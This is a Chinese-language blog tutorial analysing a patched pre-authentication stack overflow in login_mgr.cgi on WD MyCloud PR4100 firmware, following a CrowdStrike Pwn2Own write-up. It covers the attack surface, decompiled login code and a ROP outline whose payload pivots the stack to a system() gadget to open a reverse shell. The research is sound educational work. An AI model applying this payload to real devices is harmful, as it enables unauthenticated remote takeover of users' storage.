本文主要是对crowdstrike团队的pwn2own-tale-of-a-bug-found-and-lost-again文章进行学习,并梳理漏洞模式和探究漏洞利用方法,因为笔者手上没有这款固件,如果有人手上有或者用qemu仿真出来了,可以自己调试一下。
首先下载有漏洞的固件,该漏洞从2.31.204版本开始,一直在5.04.114版本修复,跨度长达一年,还是十分值得学习的。
https://downloads.wdc.com/gpl/WDMyCloud_PR4100_GPL_v2.40.155_20200713.tar.gz
因为是从零开始的IoT漏洞挖掘,从本篇开始我们首先讲述一下,在开始挖掘漏洞之前,我们需要做什么。第一件事就是要枚举攻击面,即这个目标它起了哪些服务,然后哪些服务是从外网可以访问。
一般可以用Netstat来看这些东西。
netstat -tulpn
-t
tcp-u
udp-l
listening, Show only listening sockets.-n
Show numerical addresses instead of trying to determine symbolic host, port or user names.-p
Show the PID and name of the program to which each socket belongs.root@MyCloudPR4100 root # netstat -tulpn
Active Internet connections (only servers)
Proto Local Address Foreign Address State PID/Program name
tcp 0.0.0.0:443 0.0.0.0:* LISTEN 3320/httpd
tcp 127.0.0.1:4700 0.0.0.0:* LISTEN 4131/cnid_metad
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 4073/smbd
tcp 192.168.178.31:49152 0.0.0.0:* LISTEN 3746/upnp_nas_devic
tcp 0.0.0.0:548 0.0.0.0:* LISTEN 4130/afpd
tcp 0.0.0.0:3306 0.0.0.0:* LISTEN 3941/mysqld
tcp 0.0.0.0:139 0.0.0.0:* LISTEN 4073/smbd
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 3320/httpd
tcp 0.0.0.0:8181 0.0.0.0:* LISTEN 1609/restsdk-server
tcp 0.0.0.0:22 0.0.0.0:* LISTEN 2761/sshd
tcp6 :::445 :::* LISTEN 4073/smbd
tcp6 :::139 :::* LISTEN 4073/smbd
tcp6 :::22 :::* LISTEN 2761/sshd
udp 0.0.0.0:1900 0.0.0.0:* 3746/upnp_nas_devic
udp 0.0.0.0:24629 0.0.0.0:* 2076/mserver
udp 172.17.255.255:137 0.0.0.0:* 4077/nmbd
udp 172.17.42.1:137 0.0.0.0:* 4077/nmbd
udp 192.168.178.255:137 0.0.0.0:* 4077/nmbd
udp 192.168.178.31:137 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:137 0.0.0.0:* 4077/nmbd
udp 172.17.255.255:138 0.0.0.0:* 4077/nmbd
udp 172.17.42.1:138 0.0.0.0:* 4077/nmbd
udp 192.168.178.255:138 0.0.0.0:* 4077/nmbd
udp 192.168.178.31:138 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:138 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:30958 0.0.0.0:* 3808/apkg
udp 0.0.0.0:514 0.0.0.0:* 1958/syslogd
udp 127.0.0.1:23457 0.0.0.0:* 3985/wdmcserver
udp 127.0.0.1:46058 0.0.0.0:* 3746/upnp_nas_devic
udp 0.0.0.0:48299 0.0.0.0:* 2481/avahi-daemon:
udp 0.0.0.0:5353 0.0.0.0:* 2481/avahi-daemon:
一般看到httpd就可以确定这可能是使用了apache来做的服务端,所以再搜一下conf配置文件,一般以我的习惯会把每个conf文件都读一下,不过这里我们主要关注一下alias.conf
和rewrite.conf
sakura@sakuradeMacBook-Pro:~/Desktop/WDMyCloud_PR4100_GPL_v2.40.155_20200713$ find . -name "*.conf"
./firmware/ramdisk/root/etc/mdev.conf
./firmware/ramdisk/root/etc/ez-ipupdate.conf
./firmware/ramdisk/root/etc/alert_email.conf
./firmware/ramdisk/root/etc/ld.so.conf
./firmware/ramdisk/root/etc/avahi/avahi-daemon.conf
./firmware/ramdisk/root/etc/netatalk/extmap.conf
./firmware/ramdisk/root/etc/nsswitch.conf
./firmware/module/crfs/web/config/default_lighttpd.conf
./firmware/module/crfs/web/config/php-fpm.conf
./firmware/module/crfs/web/apache2_dav/conf/httpd.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-languages.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-dav.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-autoindex.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-manual.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-multilang-errordoc.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-vhosts.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-userdir.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-info.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-ssl.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-default.conf
./firmware/module/crfs/web/apache2_dav/conf/extra/httpd-mpm.conf
./firmware/module/crfs/web/apache2/certconf/wdnas-rest-api.conf
./firmware/module/crfs/web/apache2/certconf/wdnas-rest-api-trusted.conf
./firmware/module/crfs/web/apache2/conf/sites-enabled/restsdk.conf
./firmware/module/crfs/web/apache2/conf/sites-enabled/wdnas-ui.conf
./firmware/module/crfs/web/apache2/conf/httpd.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-languages.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-dav.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-autoindex.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-manual.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-multilang-errordoc.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-vhosts.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-userdir.conf
./firmware/module/crfs/web/apache2/conf/extra/available/httpd-info.conf
./firmware/module/crfs/web/apache2/conf/extra/ports.conf
./firmware/module/crfs/web/apache2/conf/extra/httpd-default.conf
./firmware/module/crfs/web/apache2/conf/extra/wdapp_web.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/mime.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/flvx.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/env.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/dav_fs.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/unixd.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/autoindex.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/mime_magic.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/log_config.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/dir.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/rewrite.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/alpha_custom.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/security2.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/actions.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/cgi.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/deflate.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/alias.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/mpm_prefork.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/negotiation.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/logio.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/setenvif.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/ssl.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/headers.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/php5.conf
./firmware/module/crfs/web/apache2/conf/mods-enabled/xsendfile.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/modsecurity.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-951-DATA-LEAKAGES-SQL.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-949-BLOCKING-EVALUATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-911-METHOD-ENFORCEMENT.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-954-DATA-LEAKAGES-IIS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-903.9002-WORDPRESS-EXCLUSION-RULES.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-910-IP-REPUTATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-901-INITIALIZATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-959-BLOCKING-EVALUATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-952-DATA-LEAKAGES-JAVA.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-953-DATA-LEAKAGES-PHP.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-950-DATA-LEAKAGES.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-905-COMMON-EXCEPTIONS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-921-PROTOCOL-ATTACK.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-913-SCANNER-DETECTION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-912-DOS-PROTECTION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-903.9001-DRUPAL-EXCLUSION-RULES.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/RESPONSE-980-CORRELATION.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf
./firmware/module/crfs/web/apache2/conf/modsecurity/crs-setup.conf
./firmware/module/crfs/dbus-1/system.d/avahi-dbus.conf
./firmware/module/crfs/dbus-1/system.conf
./firmware/module/crfs/etc/smtp.conf
./firmware/module/crfs/etc/nas/wdnotifier.conf
./firmware/module/crfs/etc/nas/notify.d/wdmcserver.conf
./firmware/module/crfs/etc/nas/notify.d/wddispatcher.conf
./firmware/module/crfs/etc/apache2/sites-available/wdnas-rest-api.conf
./firmware/module/crfs/etc/apache2/sites-available/wdnas-ui.conf
./firmware/module/crfs/etc/apache2/sites-available/wdnas-rest-api-trusted.conf
./firmware/module/crfs/etc/apache2/conf.d/orionversion.conf
./firmware/module/crfs/etc/rsyslog.d/wdlog.conf
./firmware/module/crfs/etc/rsyslog.d/wddispatcher.conf
./firmware/module/crfs/default/syslog.conf
./firmware/module/crfs/default/mt-daapd.conf
./firmware/module/crfs/default/wdlog.conf
./firmware/module/crfs/default/dhcp6c.conf
./firmware/module/crfs/default/udhcpd.conf
./firmware/module/crfs/default/resolv.conf
./firmware/module/crfs/default/routeap.conf
./firmware/module/crfs/default/s3.conf
./firmware/module/crfs/default/snmpd.conf
./firmware/module/crfs/default/gogoc.conf
./firmware/module/crfs/apache2/sites-available/wdnas-rest-api.conf
./firmware/module/crfs/apache2/sites-available/wdnas-ui.conf
./firmware/module/crfs/apache2/conf.d/orionversion.conf
./firmware/module/crfs/files/ups/upsd.conf
./firmware/module/crfs/files/ups/upssched.conf
./firmware/module/crfs/files/ups/upsmon.conf
./firmware/module/crfs/files/ups/ups.conf
./firmware/module/crfs/files/syslog_rotate.conf
./firmware/module/crfs/files/mke2fs.conf
./firmware/module/crfs/files/syslog_dai
alias.conf
https://www.docs4dev.com/docs/zh/apache/2.4/reference/mod-mod_alias.html
ScriptAlias /cgi-bin/ /var/www/cgi-bin/
这句配置的含义是把web请求的url中,如果它访问的目录是/cgi-bin/
,就重定向到/var/www/cgi-bin/
目录下。
rewrite.conf
https://www.jianshu.com/p/103742cccaff
对于rewrite.conf
,主要读懂RewriteCond和RewriteRule两个关键字的含义就行了。
RewriteCond起到的是过滤作用
以RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$
这句为例,如果%{REMOTE_ADDR}
和!^127\.0\.0\.1$
正则匹配,即REMOTE_ADDR
不是来自localhost的话,就使用紧邻着的下一句RewriteRule来重定向web请求。
以RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING} [L]
这句为例,就是把所有访问xx.cgi
文件的请求,都重定向到/web/cgi_api.php?cgi_name=xxx
,即用cgi_api.php
来分发请求,如果鉴权不通过,就不能访问该cgi文件。
这里的鉴权主要指的就是攻击者是否有普通用户登录的权限,也就是一般说的pre-auth和after-auth了。
我们主要关注的都是pre-auth的rce,所以从这个配置文件和从cgi_api.php
里的逻辑可以看出,认证前能够访问的cgi文件只有webpipe.cgi
和login_mgr.cgi
,而前者内部也有鉴权,所以主要关注login_mgr.cgi
至此为止我们就分析出了攻击者易达的攻击面,如果要深挖的话还需要再读一下其他的配置文件,和ps -ef
看看还开了哪些进程,能否通过httpd路由到。
<IfModule rewrite_module>
RewriteEngine on
RewriteCond expr "%{REQUEST_URI} != '/xml/english.xml'"
RewriteCond expr "%{REQUEST_URI} != '/xml/lang.xml'"
RewriteRule ^/xml/(.*) /cgi-bin/webpipe.cgi
#RewriteRule /api/[0-9.]+/rest/(.*)\?(.*)$ /htdocs/api/rest/index.php?$2
#RewriteRule /api/[0-9.]+/rest/(.*) /htdocs/api/rest/index.php
RewriteCond %{HTTP_HOST} ^(.*)\.(:\d+)?$
RewriteRule ^(.*)$ http://%1%2$1 [L,R=301]
<Directory "/var/www/cgi-bin/">
RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$
RewriteCond $1 !^abFiles$
RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING} [L]
</Directory>
</IfModule>
首先抓包看一下正常的请求包是什么样的,可以看出用户输入的密码其实是被base64之后再发往server端处理的
POST /cgi-bin/login_mgr.cgi HTTP/1.1
...
Cookie: PHPSESSID=058d44781ddc0be98f15233c8853476f; local_login=1
cmd=wd_login&username=admin&pwd=YWRtaW4%3D&port=
入口函数在cgiMain,该函数根据post请求里的cmd参数来选择使用哪个函数,这里我们主要看的就是wd_login
函数
__int64 cgiMain() { bool v0; // zf const char *v1; // rdi signed __int64 v2; // rcx char *v3; // rsi const char *v4; // rdi signed __int64 v5; // rcx char *v6; // rsi bool v7; // zf const char *v8; // rdi signed __int64 v9; // rcx char *v10; // rsi const char *v11; // rdi signed __int64 v12; // rcx char *v13; // rsi const char *v14; // rdi signed __int64 v15; // rcx char *v16; // rsi __int64 result; // rax char v18; // [rsp+0h] [rbp-28h] cgiFormString("cmd", &v18, 32LL); v0 = memcmp(&v18, "wd_login", 9uLL) == 0; if ( v0 ) { wd_login(); result = 0LL; } else { v1 = "ui_check_wto"; v2 = 13LL; v3 = &v18; do { if ( !v2 ) break; v0 = *v3++ == *v1++; --v2;
在我简单的处理了一下符号之后的伪代码如下。
int wd_login() { char *pos_dbl_slash; // r14 char *v1; // rsi char *v2; // rdx unsigned int login_successful; // er15 FILE *v4; // rax FILE *v5; // r14 int v6; // ecx unsigned int v7; // eax bool v8; // zf __int64 v9; // r14 char *v10; // rsi FILE *v11; // rax FILE *v12; // r13 __int64 v13; // r12 __int64 v14; // rdx signed int v15; // er13 unsigned int v16; // er12 FILE *v17; // rax FILE *v18; // r12 _BOOL4 v19; // ST10_4 _BOOL4 v20; // ST08_4 FILE *v21; // rbp _BOOL4 v22; // er8 _BOOL4 v23; // er9 struct passwd *v24; // rax signed __int64 v25; // rdx __int64 v26; // rdx FILE *v27; // rbp struct passwd *v28; // r14 int v29; // er14 FILE *v30; // r12 FILE *v31; // rdi time_t v33; // [rsp+8h] [rbp-1200h] _BOOL4 v34; // [rsp+8h] [rbp-1200h] __int64 v35; // [rsp+10h] [rbp-11F8h] _BOOL4 v36; // [rsp+10h] [rbp-11F8h] __int64 v37; // [rsp+18h] [rbp-11F0h] __int64 v38; // [rsp+20h] [rbp-11E8h] __int64 v39; // [rsp+28h] [rbp-11E0h] char src[8]; // [rsp+30h] [rbp-11D8h] char dest[8]; // [rsp+40h] [rbp-11C8h] char username[8]; // [rsp+50h] [rbp-11B8h] __int64 v43; // [rsp+58h] [rbp-11B0h] __int64 v44; // [rsp+60h] [rbp-11A8h] __int64 v45; // [rsp+68h] [rbp-11A0h] __int64 v46; // [rsp+70h] [rbp-1198h] __int64 v47; // [rsp+78h] [rbp-1190h] __int64 v48; // [rsp+80h] [rbp-1188h] __int64 v49; // [rsp+88h] [rbp-1180h] char pwd_decoded[64]; // [rsp+90h] [rbp-1178h] char pwd_b64[256]; // [rsp+D0h] [rbp-1138h] char v52; // [rsp+1D0h] [rbp-1038h] int v53; // [rsp+260h] [rbp-FA8h] char v54; // [rsp+264h] [rbp-FA4h] char v55; // [rsp+3CFh] [rbp-E39h] char v56; // [rsp+3D0h] [rbp-E38h] char v57; // [rsp+5CFh] [rbp-C39h] char v58; // [rsp+5D0h] [rbp-C38h] char v59; // [rsp+7CFh] [rbp-A39h] char v60; // [rsp+7D0h] [rbp-A38h] char v61; // [rsp+9D0h] [rbp-838h] char v62; // [rsp+BD0h] [rbp-638h] char v63; // [rsp+DCFh] [rbp-439h] char s; // [rsp+DD0h] [rbp-438h] char v65; // [rsp+FCFh] [rbp-239h] char v66; // [rsp+FD0h] [rbp-238h] memset(pwd_b64, 0, sizeof(pwd_b64)); memset(pwd_decoded, 0, sizeof(pwd_decoded)); memset(&v52, 0, 0x200uLL); memset(&v56, 0, 0x200uLL); memset(&v58, 0, 0x200uLL); *(_QWORD *)username = 0LL; memset(&v60, 0, 0x200uLL); memset(&v61, 0, 0x200uLL); memset(&v62, 0, 0x200uLL); memset(&s, 0, 0x200uLL); memset(&v66, 0, 0x200uLL); v43 = 0LL; v44 = 0LL; v45 = 0LL; *(_QWORD *)src = 0LL; *(_QWORD *)dest = 0LL; v46 = 0LL; v47 = 0LL; v48 = 0LL; v49 = 0LL; v33 = time(0LL); cgiFormString("username", username, 32LL); cgiFormString("pwd", pwd_b64, 256LL); base64decode((u_char *)pwd_decoded, pwd_b64, 256); pos_dbl_slash = index(username, '\\'); if ( !pos_dbl_slash ) { if ( (unsigned int)is_username_allowed(username) ) { login_successful = check_login(username, pwd_decoded); v15 = 0; v16 = 0; }
is_username_allowed
校验输入的用户名是否合法,该函数先将用户名里的大写字母转成小写,然后和一个全局字符串数组里的每个字符串比较,如果有任何一个匹配就返回0,代表非法,否则返回1,代表合法。/etc/shadow
文件里,而这个文件里的root, anonymous...
等用户是linux系统使用的,而不是给注册用户使用的。__int64 __fastcall check_login(const char *username, const char *pwd_decoded) { FILE *v2; // rbp struct passwd *v3; // rax struct passwd *v4; // rbx const char *v6; // rax char password_copy_shadow[80]; // [rsp+0h] [rbp-C8h] char password_copy_input[88]; // [rsp+50h] [rbp-78h] v2 = fopen64("/etc/shadow", "r"); while ( 1 ) { v3 = fgetpwent(v2); v4 = v3; if ( !v3 ) break; if ( !strcmp(v3->pw_name, username) ) { strcpy(password_copy_shadow, v4->pw_passwd); fclose(v2); strcpy(password_copy_input, pwd_decoded);
/etc/shadow
里的数据,并解析成passwd结构体。如下是ida的stack layout视图,r代表返回地址,如图可以看到从password_copy_input数组到返回地址,一共是120个字节,而我们可以写入192个字节,所以可以劫持返回地址。
-00000000000000C8 ; D/A/* : change type (data/ascii/array)
-00000000000000C8 ; N : rename
-00000000000000C8 ; U : undefine
-00000000000000C8 ; Use data definition commands to create local variables and function arguments.
-00000000000000C8 ; Two special fields " r" and " s" represent return address and saved registers.
-00000000000000C8 ; Frame size: C8; Saved regs: 0; Purge: 0
-00000000000000C8 ;
-00000000000000C8
-00000000000000C8 password_copy_shadow db 80 dup(?)
-0000000000000078 password_copy_input db 120 dup(?)
+0000000000000000 r db 8 dup(?)
+0000000000000008
+0000000000000008 ; end of stack variables
这个漏洞的模式就是写入的数据超出了数组本身的大小导致的写入越界,但实际造成栈溢出的地方是在更后面的strcpy的地方,相对来说其实比较隐蔽,strcpy这个函数会从源地址向目的地址拷贝数据,一直到遇到\0
停止。
正常来说在往字符数组写入一个字符串的时候,都会把最后一个字节设置\0
,但因为写入的越界,导致\0
出现在了数组越界后的位置。
最终导致前面base64decode函数造成的写入越界向后传播,最终在某次strcpy的时候造成了栈溢出。
正常来说栈溢出的漏洞利用只需要rop构造gadaget即可,但是对于64位架构的栈溢出来说,因为程序的装载基地址是0x400000,所以不考虑return to libc等情况,直接在程序体内来找合适的gadaget地址的话,不可避免的在写入地址的时候会遇到\x00
,比如0000000000401D00
这个地址,它的高位都是0。
所以在strcpy的时候,遇到高位的\x00
就会被截断,所以在溢出的时候,最多就只能覆盖到返回地址,写入一个想到劫持到的地址,不能向后继续写入了。
如图可以看出,尽管我们溢出password_copy_input
由于截断只能写到返回地址那个位置,进行一次gadaget。
但是我们可以寻找lea rsp, [rsp+??] ; retn
这样的gadaget来抬升栈,通过stack pivot来将rsp指到wd_login
栈上的pwd_decoded字符串里,而这个字符串的值显然是我们可以任意控制,并且不受\x00
截断影响,它是base64解出来的。
所以到这里我们就可以进行多次gadaget了。
即我们要让pwd_decoded字符串里的内容形如,即可
AAAAA * ? + p64(gadaget_addr1) + 需要的pop的寄存器值 + p64(gadaget_addr2) + 需要的pop的寄存器值 + p64(gadaget_addr3)...
然后由于一般的cgi程序里其实都会调很多system函数,所以我们只要再通过多次gadaget传递我们需要的命令到调用system函数的地方,最终执行该代码就可以反弹shell了。
但这个cgi程序里有个非常有趣的地方,就是00000000004039B7
这个地址,它既有栈抬升,又有call system。
所以我们需要的payload就是A * 120 + p64(0x4039B7) + system_cmd_str
即可。
解释一下,在溢出覆盖返回地址后,会跳到00000000004039B7
去call一次无效的system命令,然后lea rsp, [rsp+108h]
栈抬升,此时rsp指向我们在pwd_decoded里的p64(0x4039B7) + system_cmd_str
字符串。
然后再retn,弹出p64返回地址,再次跳回到00000000004039B7
执行,此时rsp指向的就是要执行的反弹shell字符串,并传给rdi,作为system的参数执行,此时就成功的反弹shell了。
.text:00000000004039B7 lea rdi, [rsp] .text:00000000004039BB call _system .text:00000000004039C0 xor eax, eax .text:00000000004039C2 lea rsp, [rsp+108h] .text:00000000004039CA retn
具体的调试就留给读者权做练习了。
总结一下,iot的栈溢出,找gadaget的要点就是
lea rsp, [rsp+?]